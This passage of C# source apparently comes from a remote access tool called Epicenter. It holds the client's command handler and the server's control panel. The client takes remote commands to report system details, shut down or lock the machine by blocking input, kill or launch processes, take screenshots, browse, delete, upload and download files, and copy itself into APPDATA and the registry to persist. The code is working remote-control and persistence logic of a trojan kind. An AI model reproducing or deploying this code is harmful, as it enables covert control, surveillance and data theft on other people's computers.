206 | {
207 | for (int i = 0; i < recv_signal.Length; i++)
208 | {
209 | if (message[i] != recv_signal[i])
210 | return false;
211 | }
212 | return true;
213 | }
214 |
215 | static void ProcessMessage(object incoming)
216 | {
217 | object[] passedArray = (object[])incoming;
218 |
219 | int messageLen = (int)passedArray[0];
220 | byte[] message = (byte[])passedArray[1];
221 |
222 | // If it's just a RECV message, then simply ignore it.
223 | if ( compareRECV(ref message) )
224 | return;
225 |
226 | string strMessage = encoder.GetString(message, 0, messageLen);
227 |
228 | if (strMessage.Contains("messagebox<%SEP%>"))
229 | {
230 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
231 | MessageBox.Show(arguments[1], arguments[2]);
232 | }
233 | else if (strMessage == "REQ_SYSPROP")
234 | SendString( "SYSPROP<%SEP%>" + CompileSystemProfile() );
235 | else if (strMessage == "REQ_NETWPROP")
236 | SendString( "NETWPROP<%SEP%>" + CompileNetworkProfile() );
237 | else if (strMessage == "SHUTDOWN")
238 | PowerControl.ExitWindowsEx_MBO(1);
239 | else if (strMessage == "REBOOT")
240 | PowerControl.ExitWindowsEx_MBO(2);
241 | else if (strMessage == "LOGOFF")
242 | ExitWindowsEx(4, 0);
243 | else if (strMessage == "LOCKDOWN")
244 | {
245 | Thread lockdownThread = new Thread(new ThreadStart(Lockdown));
246 | inLockdown = true;
247 | lockdownThread.Start();
248 | }
249 | else if (strMessage == "UNLOCKDOWN")
250 | {
251 | inLockdown = false;
252 | System.Threading.Thread.Sleep(1000);
253 | BlockInput(false);
254 | }
255 | else if (strMessage == "SUICIDE")
256 | Environment.Exit(0);
257 | else if (strMessage == "LIST_PROCS")
258 | SendString( "PROCESS_LIST<%SEP%>" + GetProcesses() );
259 | else if (strMessage.Contains("KILLPROC<%SEP%>"))
260 | {
261 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
262 |
263 | if (arguments.Length != 2)
264 | return;
265 |
266 | Process[] procs = Process.GetProcessesByName(arguments[1]);
267 |
268 | if (procs.Length > 0)
269 | foreach (Process prc in procs)
270 | prc.Kill();
271 | }
272 | else if (strMessage.Contains("LAUNCHPROC<%SEP%>"))
273 | {
274 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
275 |
276 | if (arguments.Length != 2)
277 | return;
278 |
279 | try
280 | { Process.Start(arguments[1]); }
281 | catch { }
282 | }
283 | else if (strMessage.Contains("GETSCREEN<%SEP%>"))
284 | {
285 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
286 |
287 | int quality = 50;
288 | int port = 81;
289 | if (arguments.Length != 3)
290 | return;
291 |
292 | if ( Int32.TryParse(arguments[1], out quality) && Int32.TryParse(arguments[2], out port) )
293 | {
294 | bool isScreenTaken = ScreenshotMechanism.TakeScreenshot(quality);
295 |
296 | if (!isScreenTaken)
297 | return;
298 |
299 | Thread thSStransfer = new Thread( new ParameterizedThreadStart(FileClient.SendByteArray) );
300 | thSStransfer.Start((object)port);
301 | }
302 | }
303 | else if (strMessage.Contains("LIST_DIRECTORY<%SEP%>")) // We will now send amorphous packages instead
304 | {
305 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
306 |
307 | if (arguments.Length != 2)
308 | return;
309 |
310 | FilelistMechanism.ListContents(arguments[1]);
311 | byte[] contextBuffer = encoder.GetBytes(FilelistMechanism.latestList);
312 |
313 | SendString( "EXPECT<%SEP%>filelist<%SEP%>" + contextBuffer.Length);
314 |
315 | // If there is nothing in it
316 | if (contextBuffer.Length == 0)
317 | return;
318 |
319 | // Calm down! Let the server breathe for a while.
320 | System.Threading.Thread.Sleep(100);
321 |
322 | ns.Write(contextBuffer, 0, contextBuffer.Length);
323 |
324 | // No more length check either!
325 | /*if (FilelistMechanism.latestList.Length > 2032 - scheme.Length)
326 | SendString("FILE_LIST<%SEP%>" + FilelistMechanism.latestList.Substring(0, 2031 - scheme.Length) );
327 | else
328 | SendString("FILE_LIST<%SEP%>" + FilelistMechanism.latestList);*/
329 | }
330 | /*else if(strMessage.Contains("CONTINUE_LISTING<%SEP%>")) We won't be having this anymore
331 | {
332 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
333 |
334 | if (arguments.Length != 3)
335 | return;
336 |
337 | if( Convert.ToInt32(arguments[2]) != 1)
338 | SendString( "FILE_LIST<%SEP%>" + FilelistMechanism.latestList.Substring( Convert.ToInt32(arguments[1]), Convert.ToInt32(arguments[2]) - 1 ));
339 | else
340 | {
341 | SendString( "FILE_LIST<%SEP%>" + FilelistMechanism.latestList[FilelistMechanism.latestList.Length - 1].ToString() );
342 | arguments[2] = FilelistMechanism.latestList.Length.ToString();
343 | }
344 | }*/
345 | else if (strMessage.Contains("DELETE_FOLDER<%SEP%>"))
346 | {
347 | try
348 | {
349 | Directory.Delete(Regex.Split(strMessage, "<%SEP%>")[1], true);
350 | SendString("DISPLAY<%SEP%>Command executed successfully.");
351 | }
352 | catch (Exception e) { SendString("DISPLAY<%SEP%>An exception is caught while processing your request.\n\nContext:\n" + e.Message); }
353 | }
354 | else if (strMessage.Contains("DELETE_FILE<%SEP%>"))
355 | {
356 | try
357 | {
358 | File.Delete(Regex.Split(strMessage, "<%SEP%>")[1]);
359 | SendString("DISPLAY<%SEP%>Command executed successfully.");
360 | }
361 | catch (Exception e) { SendString("DISPLAY<%SEP%>An exception is caught while processing your request.\n\nContext:\n" + e.Message); }
362 | }
363 | else if (strMessage.Contains("SEND_FILE<%SEP%>"))
364 | {
365 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
366 |
367 | if (arguments.Length != 3)
368 | return;
369 |
370 | Thread fileTransferThread = new Thread(new ParameterizedThreadStart(FileClient.SendFile));
371 | fileTransferThread.Start( (object)arguments );
372 | }
373 | else if (strMessage == "BIND_TO_START")
374 | {
375 | // TODO: Maybe we can read the process name and drop location from the resource too.
376 | string location = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\" + dumpImageName;
377 | File.Copy(Application.ExecutablePath, location);
378 |
379 | SendString("DISPLAY<%SEP%>The client will shut down temporarily and write itself to APPDATA and REGISTRY.");
380 |
381 | Process.Start(location, "-reg");
382 | Environment.Exit(0);
383 | }
384 | else if (strMessage == "STARTUP_STATUS")
385 | {
386 | if (RegistryAlteration.isPresent())
387 | SendString("STARTUP_STATUS_RESULT<%SEP%>PRESENT");
388 | else
389 | SendString("STARTUP_STATUS_RESULT<%SEP%>NONE");
390 | }
391 | else if(strMessage.Contains("GETREADY_RECV_FILE<%SEP%>"))
392 | {
393 | string[] arguments = Regex.Split(strMessage, "<%SEP%>");
394 |
395 | if (arguments.Length != 3)
396 | return;
397 |
398 | Thread thRecvFile = new Thread(new ParameterizedThreadStart(FileClient.ReceiveFile));
399 | thRecvFile.Start((object)(new string[] { arguments[1], arguments[2] }));
400 | }
401 | }
402 |
403 | static bool inLockdown = false;
404 | static void Lockdown()
405 | {
406 | while (inLockdown)
407 | {
408 | BlockInput(true);
409 | System.Threading.Thread.Sleep(1000);
410 | }
411 | }
412 |
413 | static void SendString(string str)
414 | {
415 | // Forming the package: scheme + commtype_byte + string
416 | byte[] inBytes = encoder.GetBytes(str);
417 | byte[] toSend = new byte[inBytes.Length + scheme.Length + 1];
418 |
419 | if (inBytes.Length + scheme.Length + 1 > 2048)
420 | return;
421 |
422 | scheme.CopyTo(toSend, 0);
423 | toSend[scheme.Length] = 20;
424 | inBytes.CopyTo(toSend, scheme.Length + 1);
425 |
426 | ns.Write(toSend, 0, toSend.Length);
427 | }
428 |
429 |
430 |
431 | static string CompileSystemProfile()
432 | {
433 | string toReturn = String.Empty;
434 |
435 | toReturn += "User: " + System.Environment.UserName + "\n\n";
436 | toReturn += "Machine Name: " + System.Environment.MachineName + "\n\n";
437 | toReturn += "Operating System: " + System.Environment.OSVersion.ToString() + "\n\n";
438 | toReturn += "System Directory: " + System.Environment.SystemDirectory;
439 |
440 | return toReturn;
441 | }
442 |
443 | static string CompileNetworkProfile()
444 | {
445 | string toReturn = String.Empty;
446 |
447 | toReturn += "Hostname: " + System.Net.Dns.GetHostName() + "\n\n";
448 | toReturn += "IP: " + Dns.GetHostByName(Dns.GetHostName()).AddressList[0].ToString();
449 |
450 | return toReturn;
451 | }
452 |
453 |
454 | static string GetProcesses()
455 | {
456 | string toReturn = String.Empty;
457 | Process[] procs = Process.GetProcesses();
458 |
459 | foreach (Process proc in procs)
460 | toReturn += proc.ProcessName + "<%SEP%>";
461 |
462 | return toReturn;
463 | }
464 |
465 |
466 |
467 |
468 |
469 | }
470 | }
--------------------------------------------------------------------------------
/Epicenter SERVER/Epicenter SERVER/administrate.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Text;
7 | using System.Windows.Forms;
8 | using System.Net.Sockets;
9 | using System.Text.RegularExpressions;
10 | using System.IO;
11 | using System.Threading;
12 | using System.Diagnostics;
13 |
14 | namespace Epicenter_SERVER
15 | {
16 | public partial class administrate : Form
17 | {
18 | private NetworkStream ns;
19 | private string given_name;
20 | UTF8Encoding encoder = new UTF8Encoding();
21 | string ip = String.Empty;
22 |
23 | public administrate(string _given_name, NetworkStream _ns, string _IP)
24 | {
25 | InitializeComponent();
26 |
27 | // Importing the external variables
28 | given_name = _given_name;
29 | ns = _ns;
30 | this.Text = this.Text.Replace("%CLIENTNAME%", given_name);
31 | ip = _IP;
32 |
33 | // Trying to keep the looks good
34 | Panel coverage = new Panel();
35 | coverage.Location = new Point(200, -6);
36 | coverage.Size = new Size(398, 20);
37 | coverage.Anchor = AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top;
38 |
39 | Controls.Add(coverage);
40 | coverage.BringToFront();
41 | }
42 |
43 | private void administrate_FormClosing(object sender, FormClosingEventArgs e)
44 | {
45 | commonData.ip_panel_pair.Remove(ip);
46 | }
47 |
48 | private void SendASCII(string command)
49 | {
50 | Thread thSend = new Thread(new ParameterizedThreadStart(SendASCII_Slave));
51 | thSend.Start(command);
52 | }
53 |
54 | private void SendASCII_Slave(object obj)
55 | {
56 | if (ns.CanWrite)
57 | {
58 | byte[] buff = encoder.GetBytes((string)obj);
59 | ns.Write(buff, 0, buff.Length);
60 | }
61 | else
62 | MessageBox.Show("EPICENTER is not able to fulfill your request.\n\nIf the client has reconnected, please re-open the administration panel.", "Connection Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);
63 |
64 | }
65 |
66 |
67 | #region Inter-Form Stuff -Inside a thread-
68 | public void reportIncomingComm(byte[] raw, int len)
69 | {
70 | // Calculating the length of the header and the type byte
71 | int lenPre = commonData.scheme.Length + 1;
72 |
73 | string incoming = encoder.GetString(raw, lenPre, len - lenPre);
74 |
75 | // Making sure that the message contains our seperator.
76 | if (!incoming.Contains("<%SEP%>"))
77 | return;
78 |
79 | string[] arguments = Regex.Split(incoming, "<%SEP%>");
80 |
81 | if (arguments[0] == "SYSPROP")
82 | SetText(lblSystemProperties, arguments[1]);
83 | else if (arguments[0] == "NETWPROP")
84 | SetText(lblNetworkProperties, arguments[1]);
85 | else if (arguments[0] == "PROCESS_LIST")
86 | {
87 | ClearItems(lbProcesses);
88 | for (int i = 1; i < arguments.Length; i++)
89 | {
90 | if (!String.IsNullOrEmpty(arguments[i]))
91 | AddItem(lbProcesses, arguments[i]);
92 | }
93 | }
94 | else if (arguments[0] == "EXPECT")
95 | {
96 | switch (arguments[1])
97 | {
98 | case "filelist":
99 | if (arguments[2] == "0") // Meaning that there is nothing located in the directory
100 | {
101 | AddLVItem(listFiles, "..", String.Empty, String.Empty);
102 | SetEnabled(btnList, true);
103 | return;
104 | }
105 |
106 | FilelistRecv.expectedLen = Convert.ToInt64(arguments[2]);
107 | FilelistRecv.isExpecting = true;
108 | FilelistRecv.stream = new byte[FilelistRecv.expectedLen];
109 | FilelistRecv.myIndex = 0;
110 | SetEnabled(btnList, false);
111 | break;
112 | default:
113 | break;
114 | }
115 | }
116 | else if (arguments[0] == "DISPLAY")
117 | {
118 | MessageBox.Show(arguments[1], "A message from the client");
119 | }
120 | else if (arguments[0] == "STARTUP_STATUS_RESULT")
121 | {
122 | if (arguments.Length != 2)
123 | return;
124 |
125 | if (arguments[1] == "PRESENT")
126 | SetText(lblRegStatus, "PRESENT");
127 | else if (arguments[1] == "NONE")
128 | SetText(lblRegStatus, "NONE");
129 | }
130 |
131 | }
132 |
133 | public void FrameworkSux_ArrayToArray(ref byte[] from, ref byte[] to, int to_index, int from_len)
134 | {
135 | for (int i = 0; i < from_len; i++)
136 | to[to_index + i] = from[i];
137 | }
138 |
139 | public void reportAmorphPack(byte[] raw, int len)
140 | {
141 | FrameworkSux_ArrayToArray(ref raw, ref FilelistRecv.stream, (int)FilelistRecv.myIndex, len);
142 | FilelistRecv.myIndex += (long)len;
143 |
144 | if (FilelistRecv.expectedLen == FilelistRecv.myIndex)
145 | {
146 | try
147 | {
148 | string tempStr = encoder.GetString(FilelistRecv.stream);
149 | FilelistRecv.isExpecting = false;
150 | processFilelist(Regex.Split(tempStr, "<%SEP%>"));
151 | SetEnabled(btnList, true);
152 | }
153 | catch
154 | {
155 | SetEnabled(btnList, true);
156 | MessageBox.Show("File list acquisition failed!", "Error Occured", MessageBoxButtons.OK, MessageBoxIcon.Error); return;
157 | }
158 | }
159 | }
160 |
161 |
162 | public void Intermission()
163 | {
164 | MessageBox.Show(given_name + " has disconnected.\nYou may not be able to make requests.", "Notification", MessageBoxButtons.OK, MessageBoxIcon.Information);
165 | }
166 | #endregion
167 |
168 |
169 |
170 | // For debugging
171 | private void btnSend_Click(object sender, EventArgs e)
172 | {
173 | if (String.IsNullOrEmpty(txtCommand.Text))
174 | return;
175 |
176 | SendASCII(txtCommand.Text);
177 | }
178 |
179 | // Auto-fetching network, system configuration, process list and file features
180 | private void tabControl1_SelectedIndexChanged(object sender, EventArgs e)
181 | {
182 | switch (tabControl1.SelectedIndex)
183 | {
184 | case 1:
185 | if (lblSystemProperties.Text == "Retrieving... Please wait")
186 | SendASCII("REQ_SYSPROP");
187 | break;
188 | case 2:
189 | if (lblNetworkProperties.Text == "Retrieving... Please wait")
190 | SendASCII("REQ_NETWPROP");
191 | break;
192 | case 7:
193 | RequestProcessList();
194 | break;
195 | case 9:
196 | if(String.IsNullOrEmpty(txtLocation.Text))
197 | txtLocation.Text = "C:\\";
198 | RequestFileList(txtLocation.Text);
199 | break;
200 | case 11:
201 | SendASCII("STARTUP_STATUS");
202 | break;
203 | default:
204 | break;
205 | }
206 | }
207 |
208 | // MessageBox command
209 | private void btnDisplayMessage_Click(object sender, EventArgs e)
210 | {
211 | if (String.IsNullOrEmpty(txtMB_Message.Text) || String.IsNullOrEmpty(txtMB_Title.Text))
212 | {
213 | MessageBox.Show("Please fill the both fields.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
214 | return;
215 | }
216 |
217 | SendASCII("messagebox<%SEP%>" + txtMB_Message.Text + "<%SEP%>" + txtMB_Title.Text);
218 | }
219 |
220 | // PowerState
221 | private void btnControlPowerState_Click(object sender, EventArgs e)
222 | {
223 | if (rbShutdown.Checked)
224 | SendASCII("SHUTDOWN");
225 | else if (rbRestart.Checked)
226 | SendASCII("REBOOT");
227 | else if (rbLogoff.Checked)
228 | SendASCII("LOGOFF");
229 | }
230 |
231 | // Lockdown
232 | private void btnLock_Click(object sender, EventArgs e)
233 | {
234 | SendASCII("LOCKDOWN");
235 | }
236 |
237 | private void btnUnlock_Click(object sender, EventArgs e)
238 | {
239 | SendASCII("UNLOCKDOWN");
240 | }
241 |
242 | // Kill the remote process
243 | private void btnRemoteExit_Click(object sender, EventArgs e)
244 | {
245 | SendASCII("SUICIDE");
246 | }
247 |
248 | // Process Explorer
249 | private void RequestProcessList()
250 | {
251 | lbProcesses.Items.Clear();
252 | lbProcesses.Items.Add("Retrieving process list...");
253 | SendASCII("LIST_PROCS");
254 | }
255 |
256 | private void btnRefreshProcessList_Click(object sender, EventArgs e)
257 | {
258 | RequestProcessList();
259 | }
260 |
261 | private void btnKillProc_Click(object sender, EventArgs e)
262 | {
263 | if (lbProcesses.SelectedIndex != -1)
264 | SendASCII( "KILLPROC<%SEP%>" + lbProcesses.Items[lbProcesses.SelectedIndex] );
265 |
266 | System.Threading.Thread.Sleep(250);
267 | RequestProcessList();
268 | }
269 |
270 | private void btnLaunchProc_Click(object sender, EventArgs e)
271 | {
272 | if (!String.IsNullOrEmpty(txtProcessAddr.Text))
273 | SendASCII("LAUNCHPROC<%SEP%>" + txtProcessAddr.Text);
274 |
275 | System.Threading.Thread.Sleep(250);
276 | RequestProcessList();
277 | }
278 |
279 | // Capture Screenshot
280 | private void btnCaptureScreenshot_Click(object sender, EventArgs e)
281 | {
282 | int quality = 50;
283 | int port = 81;
284 | if (Int32.TryParse(txtQuality.Text, out quality) && quality > 0 && quality <= 100 && Int32.TryParse(txtSSPort.Text, out port) && port > 0)
285 | {
286 | FileServer fs = new FileServer(this, ip, port, Path.GetTempPath() + "\\remoteSS" + Guid.NewGuid().ToString() , String.Empty);
287 | fs.StartListeningForSS();
288 | SendASCII("GETSCREEN<%SEP%>" + txtQuality.Text + "<%SEP%>" + txtSSPort.Text);
289 |
290 | btnCaptureScreenshot.Text = "Processing...";
291 | btnCaptureScreenshot.Enabled = false;
292 | txtQuality.Enabled = false;
293 | txtSSPort.Enabled = false;
294 |
295 | }
296 | else
297 | MessageBox.Show("Please enter valid integers into the boxes.", "Type Conversion Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
298 | }
299 |
300 | private void ButtonToPrevState()
301 | {
302 | this.Invoke( (MethodInvoker) delegate{
303 | btnCaptureScreenshot.Text = "Capture";
304 | btnCaptureScreenshot.Enabled = true;
305 | txtQuality.Enabled = true;
306 | txtSSPort.Enabled = true;
307 | });
308 | }
309 |
310 | private void displayDScreen(object obj)
311 | {
312 | DisplayScreen ds = new DisplayScreen((string)obj);
313 | ds.ShowDialog();
314 | }
315 |
316 | public string ReportInSS
317 | {
318 | get { return String.Empty; }
319 | set
320 | {
321 | if (value.Contains("complete<%SEP%>"))
322 | {
323 | ButtonToPrevState();
324 |
325 | Thread displayThread = new Thread(new ParameterizedThreadStart(displayDScreen));
326 | displayThread.Start( (object)(value.Substring(value.IndexOf("complete") + 15)) );
327 |
328 |
329 | }
330 | else
331 | SetText(lblSSstatus, value);
332 | }
333 | }
334 |
335 | // File Features
336 | private void RequestFileList(string location)
337 | {
338 | listFiles.Items.Clear();
339 | FilelistRecv.expectedLen = 0;
340 | SendASCII("LIST_DIRECTORY<%SEP%>" + location);
341 | }
342 |
343 | private void btnList_Click(object sender, EventArgs e)
344 | {
345 | if (!String.IsNullOrEmpty(txtLocation.Text))
346 | {
347 | if (!txtLocation.Text.EndsWith("\\"))
348 | txtLocation.Text += "\\";
349 | RequestFileList(txtLocation.Text);
350 | }
351 | else
352 | MessageBox.Show("Please fill the location that you want to explore.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning);
353 | }
354 |
355 | private void processFilelist(string[] args)
356 | {
357 | for (int i = 0; i < args.Length; i++)
358 | {
359 | if (!String.IsNullOrEmpty(args[i]))
360 | {
361 | if(i==0)
362 | AddLVItem(listFiles, "..", String.Empty, String.Empty);
363 | string[] subInfos = Regex.Split(args[i], "<%FSEP%>");
364 |
365 | if (subInfos.Length == 3)
366 | {
367 | if (subInfos[2] == "-" || subInfos[2] == "")
368 | {
369 | AddLVItem(listFiles, subInfos[0], subInfos[1], subInfos[2]);
370 | continue;
371 | }
372 | // FileLen subInfos[2]
373 | if (Convert.ToInt64(subInfos[2].Replace("KB", String.Empty)) > 1000)
374 | {
375 | AddLVItem(listFiles, subInfos[0], subInfos[1], (Convert.ToInt64(subInfos[2].Replace("KB", String.Empty)) / 1000).ToString() + " MB");
376 | }
377 | else
378 | {
379 | if (subInfos[2] == "0KB")
380 | subInfos[2] = subInfos[2].Replace("0", "<1");
381 |
382 | AddLVItem(listFiles, subInfos[0], subInfos[1], subInfos[2].Replace("KB", " KB"));
383 | }
384 |
385 | }
386 |
387 | }
388 | }
389 | }
390 |
391 | private void btnFileDel_Click(object sender, EventArgs e)
392 | {
393 | if (listFiles.SelectedItems.Count == 1)
394 | {
395 | switch(listFiles.SelectedItems[0].SubItems[1].Text)
396 | {
397 | case "FOLDER":
398 | SendASCII("DELETE_FOLDER<%SEP%>" + txtLocation.Text + listFiles.SelectedItems[0].SubItems[0].Text);
399 | break;
400 | case "FILE":
401 | SendASCII("DELETE_FILE<%SEP%>" + txtLocation.Text + listFiles.SelectedItems[0].SubItems[0].Text);
402 | break;
403 | default:
404 | break;
405 | }
406 |
407 | }
408 | }
409 |
410 | private void listFiles_DoubleClick(object sender, EventArgs e)
411 | {
412 | if (btnList.Enabled == false)
413 | return;
414 |
415 | if(listFiles.SelectedItems.Count == 0)
416 | return;
417 |
418 | if (listFiles.SelectedItems[0].Index == 0 && listFiles.SelectedItems[0].SubItems[0].Text == "..")
419 | {
420 | string previousState = txtLocation.Text;
421 | txtLocation.Text = txtLocation.Text.Substring(0, txtLocation.Text.LastIndexOf("\\"));
422 | txtLocation.Text = txtLocation.Text.Substring(0, txtLocation.Text.LastIndexOf("\\") + 1);
423 |
424 | if (txtLocation.Text.Length < 3)
425 | txtLocation.Text = previousState;
426 | else
427 | RequestFileList(txtLocation.Text);
428 | }
429 | else
430 | {
431 | if (String.IsNullOrEmpty(txtLocation.Text) || listFiles.SelectedItems[0].SubItems[1].Text != "FOLDER")
432 | return;
433 |
434 | if (!txtLocation.Text.EndsWith("\\"))
435 | txtLocation.Text += "\\";
436 |
437 | txtLocation.Text += listFiles.SelectedItems[0].SubItems[0].Text + "\\";
438 | RequestFileList(txtLocation.Text);
439 | }
440 | }
441 |
442 | private void btnFileDownload_Click(object sender, EventArgs e)
443 | {
444 | int transfPort = 0;
445 | if (!Int32.TryParse(txtTransferPort.Text, out transfPort))
446 | {
447 | MessageBox.Show("Please put in a valid port before requesting a file.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Error);
448 | return;
449 | }
450 |
451 | if (listFiles.SelectedItems.Count != 1)
452 | return;
453 |
454 | if (listFiles.SelectedItems[0].SubItems[1].Text != "FILE")
455 | return;
456 |
457 | SaveFileDialog sfd = new SaveFileDialog();
458 |
459 | if (sfd.ShowDialog() == DialogResult.OK)
460 | {
461 | FileServer fs = new FileServer(this ,ip, transfPort, sfd.FileName, String.Empty);
462 | fs.StartListeningForFile();
463 |
464 | SendASCII("SEND_FILE<%SEP%>" + txtLocation.Text + listFiles.SelectedItems[0].SubItems[0].Text + "<%SEP%>" + txtTransferPort.Text);
465 | SetText(lblStatus, "REQUEST sent. Awaiting for initial data.");
466 | }
467 | }
468 |
469 | private void btnFileUpload_Click(object sender, EventArgs e)
470 | {
471 | int transfPort = 0;
472 | if (!Int32.TryParse(txtTransferPort.Text, out transfPort))
473 | {
474 | MessageBox.Show("Please put in a valid port before requesting a file.", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Error);
475 | return;
476 | }
477 |
478 | if (String.IsNullOrEmpty(txtLocation.Text))
479 | return;
480 |
481 | FileUploadDisplay display = new FileUploadDisplay(this, txtLocation.Text);
482 |
483 | if (display.ShowDialog() == DialogResult.OK)
484 | {
485 | FileServer fs = new FileServer(this, ip, transfPort, String.Empty, _toUpload_local);
486 | fs.StartListeningForUpload();
487 |
488 | SendASCII("GETREADY_RECV_FILE<%SEP%>" + _toUpload_remote + "<%SEP%>" + txtTransferPort.Text);
489 | }
490 | }
491 |
492 | string _toUpload_local;
493 | public string toUpload_local
494 | {
495 | get { return String.Empty; }
496 | set
497 | {
498 | _toUpload_local = value;
499 | }
500 | }
501 |
502 | string _toUpload_remote;
503 | public string toUpload_remote
504 | {
505 | get { return String.Empty; }
506 | set
507 | {
508 | _toUpload_remote = value;
509 | }
510 | }
511 |
512 |
513 |
514 | public string ReportIn
515 | {
516 | get { return String.Empty; }
517 | set
518 | {
519 | SetText(lblStatus, value);
520 | }
521 | }
522 |
523 | // Add yourself to registry
524 | private void btnRegistery_Click(object sender, EventArgs e)
525 | {
526 | SendASCII("BIND_TO_START");
527 | }
528 |
529 |
530 | // TODO: Implementation of the CMD control system.
531 |
532 |
533 |
534 |
535 | #region GUI Stuff
536 | private void tvFunctions_AfterSelect(object sender, TreeViewEventArgs e)
537 | {
538 | switch (tvFunctions.SelectedNode.Text)
539 | {
540 | case "General Information":
541 | tabControl1.SelectedIndex = 0;
542 | break;
543 | case "System":
544 | tabControl1.SelectedIndex = 1;
545 | break;
546 | case "Network":
547 | tabControl1.SelectedIndex = 2;
548 | break;
549 | case "Administrative Features":
550 | tabControl1.SelectedIndex = 3;
551 | break;
552 | case "Display a message":
553 | tabControl1.SelectedIndex = 4;
554 | break;
555 | case "Control the power state":
556 | tabControl1.SelectedIndex = 5;
557 | break;
558 | case "Lock keyboard and mouse":
559 | tabControl1.SelectedIndex = 6;
560 | break;
561 | case "Start or kill processes":
562 | tabControl1.SelectedIndex = 7;
563 | break;
564 | case "Take screenshots":
565 | tabControl1.SelectedIndex = 8;
566 | break;
567 | case "Other":
568 | tabControl1.SelectedIndex = 11;
569 | break;
570 | case "Manage remote files":
571 | tabControl1.SelectedIndex = 9;
572 | break;
573 | case "Access the command line":
574 | tabControl1.SelectedIndex = 10;
575 | break;
576 | default:
577 | break;
578 |
579 | }
580 | }
581 |
582 | private void txtDisplayCMD_Click(object sender, EventArgs e)
583 | {
584 | txtCMDcommand.Focus();
585 | }
586 |
587 | private void txtLocation_KeyPress(object sender, KeyPressEventArgs e)
588 | {
589 | if (e.KeyChar == 13 && btnList.Enabled)
590 | btnList_Click(sender, e);
591 | }
592 |
593 | private void txtProcessAddr_KeyPress(object sender, KeyPressEventArgs e)
594 | {
595 | if (e.KeyChar == 13)
596 | btnLaunchProc_Click(sender, e);
597 | }
598 | #endregion
599 |
600 | #region Delegates
601 | public delegate void ControlBoolConsumer(Control control, bool isIt);
602 | public void SetEnabled(Control control, bool isIt)
603 | {
604 | if (control.InvokeRequired)
605 | control.Invoke(new ControlBoolConsumer(SetEnabled), new object[] { control, isIt });
606 | else
607 | control.Enabled = isIt;
608 | }
609 |
610 | public delegate void ControlStringConsumer(Control control, string text);
611 | public void SetText(Control control, string text)
612 | {
613 | if (control.InvokeRequired)
614 | control.Invoke(new ControlStringConsumer(SetText), new object[] { control, text });
615 | else
616 | control.Text = text;
617 | }
618 |
619 | public delegate void LBStringConsumer(ListBox listbox, string text);
620 | public void AddItem(ListBox listbox, string text)
621 | {
622 | if (this.InvokeRequired)
623 | this.Invoke(new LBStringConsumer(AddItem), new object[] { listbox, text });
624 | else
625 | listbox.Items.Add(text);
626 | }
627 |
628 | public delegate void LBConsumer(ListBox listbox);
629 | public void ClearItems(ListBox listbox)
630 | {
631 | if (this.InvokeRequired)
632 | this.Invoke(new LBConsumer(ClearItems), new object[] { listbox });
633 | else
634 | listbox.Items.Clear();
635 | }
636 |
637 | public delegate void LVStringConsumer(ListView view, string textA, string textB, string textC);
638 | public void AddLVItem(ListView view, string textA, string textB, string textC)
639 | {
640 | if (this.InvokeRequired)
641 | this.Invoke(new LVStringConsumer(AddLVItem), new object[] { view, textA, textB, textC });
642 | else
643 | view.Items.Add(new ListViewItem(new string[] { textA, textB, textC }));
644 | }
645 | #endregion
646 |
647 |
648 | }
649 | }
650 |
--------------------------------------------------------------------------------